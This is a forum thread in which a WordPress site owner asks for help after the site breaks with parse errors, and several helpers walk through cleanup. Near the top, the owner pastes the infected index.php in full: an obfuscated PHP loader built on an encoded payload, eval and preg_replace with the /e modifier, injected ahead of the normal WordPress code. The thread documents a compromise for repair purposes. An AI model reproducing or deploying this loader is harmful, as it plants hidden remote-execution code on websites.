URGENT: White page and cant access to admin panel WordPress
- SOLVED
Frim some weeks I cant access my domain of second (w w w . e n t o m o n . i n f o) and third level (forum and staff .entomon.info). When I type the address in place of the website appears an error message; this also happens to sub-domains, and if I try to access the control panel too. The installed version is 3.9.1 of Wordpress. For my work I have not had time to figure out the problem until now. The error message that appeared was the following:
<blockquote>Parse error: syntax error, unexpected ‘<' in /home/public_html/index.php on line 38</blockquote>
Trying to get into the admin panel appeared an error message very similar. So I did the backup of the site and I opened the file indicted, finding lines of code dirty. What I did was delete the trash lines and restore the right contents.
<strong>TRASH INDEX.PHP</strong>
<?php $xrtvdkmyez = '5Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x782e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]hA%x5c%x7827pd%x5c%x78mji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X678]K5]53]Kc#<%x5c%x7825tpz!>!#]Dc%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x782573]y76]271]y7d]252]y74]256]y39]252]y83]nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]4utjyf%x5c%x7860%x5c%x7878%x5c%x786]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y4325j=tj{fpg)%x5c%x7825%x5c%x7824-%xbge56+99386c6f+9f5d816:+946:ce44#mbg}%x5c%x787f;!osvufs}w%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x5c%x7825%x5c%x782f#0#%x5c%x782f*T7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x782dfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDP5c%x782f#M5]DgP5]D6#<%x5c%x7827878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!ui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]#npd%x5c%x782f#)rrd%x5c%x782f#00;qu85cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#]y3:]84#-!OVMM*<%x22%51%x29%51%x2927-K)ebfsX%x5c%x7827u%x5c%x7825)7f2]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x%x7825:osvufs:~928>>%x5c%x7273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]27822!pd%x5c%x7825)!gj}Z;h!op!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x25)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x725)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x3]y3:]68]y76#<%x5c%xbE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%"%x6f%142%x5f%163%x74%141%x72%164") && (!isset($GLOBALS["%x61%1567-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpm%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%dXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**11115fdy>#]D4]273]D6P2L5P6]y6gP7L6R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]25iN}#-!tussfw)%x5c%x7825c*%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&L3]84]y31M6]y3e]81#%x5c%x782f#7-%x5c%x7825bT-%x5c%x7825hW~%n)-1);} @error_reporting(07825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftm78pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd25c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x78273]y72]282#<!%x5c%x7825tjw!>!#]y7825)3of:opjudovg<~%x5c%x7824<!%xr%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x55c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5%x7824gps)%x5c%x7825j>1<%x5c%x78%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c164%50%x22%134%x78%62%x35%165%x3a%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x78%x782f%x5c%x7825%x5c%x78241%x72%162%x61%171%x5f%155%x61%160%x28%42822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j%x5c%x785cq%x5c%x7825x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#005!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x7%x75%156%x61"])))) { $GL%x7860msvd},;uqpuft%x5c%7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)f)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x7825)sf%x5c%x7878pmpusut!-#j0#5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x1]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-sv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*mx5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%)%x5c%x7825epnbss-%x5c%x7825r%x5c%xy]252]18y]#>q%x5c%x7825<#7658y]472]37y]672]48y]#>s%x5c%x7825<#462]47]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c9y]g2y]#>>*4-1-bubE{h%x5c%x78d>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x782&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%22l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827+^?]_%x5c%x785c}X%x5c%x7824<!%x5c6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245;*%x5c%x787f!>>%x5c%x7**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#ojepdoF.uofuopD#)sfebfI{*w%x5c5cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x7)%x5c%x7825r%x5c%x7878Bsfuvso!sboepnx5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]27*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x782OBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){return chr(ord($!tus%x5c%x7860sfqmbdf)%x5c%x7825%c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825%x78e%x5c%x78b%x5c%x7825mm)%x5c%x78<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x5c%x78n+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0]K2]285]Ke]53Ld]53]Kc]57&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x77-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,654%x28%151%x6d%160%x6c%157%x64%145%x28%14x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]25)dfyfR%x5c%x7827tfs%x5c%x78256<*1x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x782512>j%x5c%x7825!|!*#91y]1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<7825w%x5c%x7860TW~%x5c%x7824<%x5cx5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x78255fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860uny8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]6fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%8256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)u5c%x7825-bubE{h%x5c%x7825)sutcvt-x5c%x7827!hmg%x5c%x78%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860%x7825)kV%x5c%x7878{**#k#)tx7825)ppde>u%x5c%x7825V<#65,4]78]y33]65]y31]55]y85]82]y76]62ufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<*o#>>}R;msv}.;%x5c%x782f#%x5cf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#op%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotif((function_exists(); preg_replace("%x2f%50%#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw2f7rfs%x5c%x78256<#o]1%x5c%x782f#2#%x5c%x782f#%x5c%x7825#%84]275]y83]248]y83]25657]38y]47]67y]37]88y]27]28y]#%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y%x5c%x7825c:>%x5c%x7825s:%x5c%x785%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%xw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<V%x5c%x787f%x5c%x787f%x5cx782fh%x5c%x7825:<**#c%x5c%x7825j:^<!%x5c%x7825w%x5c4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x78%x782f#%x5c%x782f},;#-#}+;%x5c%x782)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB*qp%x5c%x7825!-uyfu%x5c%x%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z7R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,477825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x78254)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#<#o]o]Y%x5c%x78257;utpI#7>%x5c%x78x7825)+opjudovg+)!gj+{e%x5c%x7825!osvA%x5c%x7827pd%x5c%x78{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x256<pd%x5c%x7825w6Z6<.3%x5c%x78603e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftx7824gvodujpo!%x5c%x7824-%x5c%x7824y7%xx7825z-#:#*%x5c%x7824-%x5c%x7824!>27]36]373P6]36]73]83]238M7]381]211M5]67]452]885c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782%x5c%x7825h>#]y31]278]y7K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%xQUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5pd%x5c%x7825w6Z6<.4%x5c%x7860h>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5cM7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3Ptussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%827doj%x5c%x78256<%x5c%x787fw6*%x5cR85,67R37,18R#>q%x5c%x7825V<*#fopoV;h25:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c5-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfijudovg}{;#)tutjyf%x5c%x7860%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<)m%x5c%x7825):fmji%x5c%xx2e%52%x29%57%x65","%x65%166%x61%17f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<C25%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x782#k#)usbut%x5c%x7860cp%73", NULL); }x7824-%x5c%x7824-tusqpt)%x5c%:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%xepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bu/(.*)/epreg_replaceukrujsbwfi'; $naefquysup = explode(chr((201-157)),'7014,20,1894,65,3734,24,5240,68,2376,26,7034,25,9492,34,5674,41,3399,40,2008,60,3174,34,6286,54,1836,20,9660,45,7347,58,8922,30,7965,21,8093,33,107,22,2595,37,3043,35,2255,62,1959,49,2068,41,1217,34,129,63,7894,34,7107,32,3689,45,6397,57,740,62,703,37,8494,57,9593,67,2534,61,5041,54,1134,49,3506,21,4954,57,9883,69,3930,51,3782,55,9952,33,9115,35,8873,49,5341,66,5847,33,5606,68,5442,53,9526,67,5566,40,6897,61,4271,65,4047,58,3758,24,8189,53,579,24,4933,21,1437,28,9396,27,8024,69,7781,62,4686,45,1465,55,10046,60,1856,38,6487,21,1778,58,6454,33,4141,69,5963,70,5940,23,4612,30,1603,70,264,48,7306,41,8551,62,5189,51,3632,57,670,33,1099,35,869,70,4210,61,6197,49,8952,49,3898,32,6958,56,5495,48,3315,58,2467,67,546,33,7587,61,6508,36,8771,44,2907,53,1725,53,6680,60,7648,25,2402,65,6768,68,6740,28,7552,35,9340,56,4642,44,1310,27,3439,67,2686,45,9187,41,4336,49,7928,37,6631,49,9752,21,7405,25,7673,60,4776,34,6571,29,7733,48,2139,49,9150,37,5011,30,6544,27,415,33,4810,50,6162,35,8712,59,989,54,7139,26,2188,40,4860,33,1387,50,312,39,2731,33,7165,22,2839,68,1520,49,8815,58,603,67,7430,21,7187,38,6340,57,5880,60,9468,24,1043,56,4447,41,4420,27,1251,59,2764,33,8613,44,5131,58,3981,66,6836,61,9228,45,5715,70,9787,29,8281,34,5308,33,3208,44,6246,40,224,40,8242,39,3137,37,2960,32,512,34,8361,50,3373,26,4731,45,7225,47,7482,70,2228,27,9985,61,2632,54,5095,36,4385,35,832,37,9050,65,4555,57,3596,36,7059,48,3837,61,8471,23,8126,63,1673,22,1695,30,2317,31,56,51,192,32,1569,34,802,30,2109,30,9001,49,4893,40,5543,23,0,56,6112,50,2348,28,6066,46,351,64,8315,46,4488,67,3527,69,8657,55,2797,42,9816,67,7986,38,9273,67,4105,36,7272,34,7451,31,9423,45,8411,60,939,50,2992,51,6033,33,5407,35,9705,47,7843,51,3252,63,3078,59,1337,50,5785,62,448,64,6600,31,1183,34,9773,14'); $vgxdmyejiv=substr($xrtvdkmyez,(55683-45577),(49-42)); if (!function_exists('ppthtfwnhz')) { function ppthtfwnhz($cmbkxihobi, $szyhjxaluy) { $qxleglpwzy = NULL; for($aarninrttp=0;$aarninrttp<(sizeof($cmbkxihobi)/2);$aarninrttp++) { $qxleglpwzy .= substr($szyhjxaluy, $cmbkxihobi[($aarninrttp*2)],$cmbkxihobi[($aarninrttp*2)+1]); } return $qxleglpwzy; };} $rarzuswjzl="\x20\57\x2a\40\x77\165\x74\143\x70\145\x71\167\x70\151\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\62\x32\55\x38\65\x29\51\x2c\40\x63\150\x72\50\x28\65\x35\63\x2d\64\x36\61\x29\51\x2c\40\x70\160\x74\150\x74\146\x77\156\x68\172\x28\44\x6e\141\x65\146\x71\165\x79\163\x75\160\x2c\44\x78\162\x74\166\x64\153\x6d\171\x65\172\x29\51\x29\73\x20\57\x2a\40\x62\162\x6c\161\x62\150\x73\152\x66\144\x20\52\x2f\40"; $rxpojitwcp=substr($xrtvdkmyez,(39569-29456),(77-65)); $rxpojitwcp($vgxdmyejiv, $rarzuswjzl, NULL); $rxpojitwcp=$rarzuswjzl; $rxpojitwcp=(458-337); $xrtvdkmyez=$rxpojitwcp-1; ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
<strong>RIGHT INDEX.PHP</strong>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
This did result other error messages in version.php file, index.php (in wp-includes) and admin.php. After cleaning all these files, the result is that now the site has blank page, is visiting him that trying to go into administration.
I stopped to try to edit this files at the main domain but also the forum and the subdomain "staff" have the same problems.
Can anyone help me please?
Very thanks
Answers (5)
zebra webdesigns answers:
Hello
this is a hack attempt and it happened to one of my client too.
Can you contact me through skype.
I can help you out
my skype id: bhuvan530531
mail: [email protected]
mothernatur3s0n comments:
HI,
thanks for your asnwer but if you have any suggestion i prefer that you eplain here your plan
zebra webdesigns comments:
Hello mate,
sorry I was away , I hope Arnav is helping you now... you are good with him ;).
let me know if you need assistance if any.
mothernatur3s0n comments:
HI, for the moment Arnav is away too.
zebra webdesigns comments:
can you contact me through skype.
Skype ID : bhuvan530531
mothernatur3s0n comments:
I tryed, no answer.
mothernatur3s0n comments:
Many thanks for your remote support, now work all good.
Hariprasad Vijayan answers:
Hello,
Is your site hacked before? Your trash index.php indicating so. Do you have all backup of your wordpress?
mothernatur3s0n comments:
In the past i had other similar problems but long time ago.
My backup is very old, i risk to lose all new recent articles written from other people.
Is possible fix this problem without the backup?
Hariprasad Vijayan comments:
First need the backed up files, better you can download it from server itself. Also keep a current backup of database.
Do the following to get the site back.
1. Take a backup of wp-content.
2. Download new wordpress(same version that you have)
3. upload it into server, configure wp-config.php(you will get it from your backup). Check is there is any unwanted code in it.
4. Replace wp-content folder from backup.(Remove unused themes, plugins). Better download same versions of plugin
5. Check you theme to ensure there is no unwanted code in it.
(Take a backup of your current database and server files before doing change)
mothernatur3s0n comments:
1) I already do the backup of the site
2) OK
3) OK
4) OK but is impossible re-download all plugins that i have in and with the same (old) version, the theme have many plugins that work.
5) Explain please
How i can backup the db?
Im not a very expert
Hariprasad Vijayan comments:
5. In your trash index.php, there is some unwanted code, so it may affect all the files in the server. So you need to ensure the theme files are not infected. Please check it.
4. Suggest you to download plugins because the plugin files may infected. (mentioned in #5)
You can backup your database from CPanel.
mothernatur3s0n comments:
For the moment i will see if Arnab can fix the problem. I dont have enought experience for make all this passage without errors. And the time is my enemy. But i will back to look your solution if Arnav not fix my problem.
Naveen Chand answers:
To know if the problem is with the plugins, rename the folder "plugins" to "plugins.hold" using FTP or your filemanager in cpanel and go to wp-content.
And then try to login to wp-admin. If you are able to login, then its sure that one of the plugin is creating this problem. Go back to file manager and reset the plugin folder name to 'plugins'.
Now, keep testing each plugin by changing its name to see if its the problem.
If the above solution does not work, then try to change the name of the theme so that it defaults to default theme. This will determine if the problem is with the theme.
mothernatur3s0n comments:
Hi, thanks for your asnwer.
I tryed your suggestion and the result is this message:
<blockquote>W3 Total Cache Error: some files appear to be missing or out of place. Please re-install plugin or remove /home/entomon/public_html/wp-content/advanced-cache.php.
Parse error: syntax error, unexpected '}' in /home/xxxxxxxx/public_html/wp-includes/pomo/mo.php on line 258</blockquote>
Naveen Chand comments:
Try to download this file on your computer and then delete it: wp-content/advanced-cache.php
Later on if everything works ok, we can always put it back.
mothernatur3s0n comments:
Now the error is:
<blockquote>Parse error: syntax error, unexpected '}' in /home/entomon/public_html/wp-includes/pomo/mo.php on line 258</blockquote>
Naveen Chand comments:
The original file is here: https://github.com/WordPress/WordPress/blob/master/wp-includes/pomo/mo.php
Try to copy all of this file content into your own wp-includes/pomo/mo.php
This is just to make sure this file is in order.
mothernatur3s0n comments:
Done
Now:
<blockquote>Parse error: syntax error, unexpected ')' in /home/entomon/public_html/wp-includes/pomo/translations.php on line 276</blockquote>
Naveen Chand comments:
Here is the original: https://github.com/WordPress/WordPress/blob/master/wp-includes/pomo/translations.php
Pls do the same as we did for the previous one. i.e Copy the code from the above, paste it in your own copy of the file.
If you find similar entries - this is where the entire original repository is available that you can refer to: https://github.com/WordPress/WordPress
mothernatur3s0n comments:
OK
Now is:
<blockquote>Parse error: syntax error, unexpected ')' in /home/entomon/public_html/wp-includes/wp-db.php on line 2151</blockquote>
Naveen Chand comments:
This is the one for the new error: https://github.com/WordPress/WordPress/blob/master/wp-includes/wp-db.php
If new error keeps coming, it just means that many files in /wp-includes/ folder have been corrupted. If you want to bulk fix them, then
1. download the entire wordpress folder (stable version): [[LINK href="http://wordpress.org/download/"]]http://wordpress.org/download/[[/LINK]] and unzip the contents on your local computer.
2. Copy all files in /wp-includes/ folder in your local computer to your webserver in the same /wp-includes/ folder by uploading them through cpanel or through FTP.
3. Make sure you delete the existing files before copying or overwrite them while copying.
Hope this helps.
mothernatur3s0n comments:
Very thanks, the passage start to come hard for me. This your suggestion is similar to the Hariprasad solution. I will see.
Stay tuned.
Arnav Joy answers:
This type of hack attempts, effect several files so correcting it at one place will not insure your site will run .
if you can provide me access , I will check it.
mothernatur3s0n comments:
Hi, thanks. I see your feedback is very interessant. I will try to contact you.
mothernatur3s0n comments:
Just check your personal message im on skype
Luis Abarca answers:
This hack affects all the files in WordPress, if you look at your themes, plugins and WP files, you will notice that are infected.
You'll need a clean installation and download again your plugins and theme.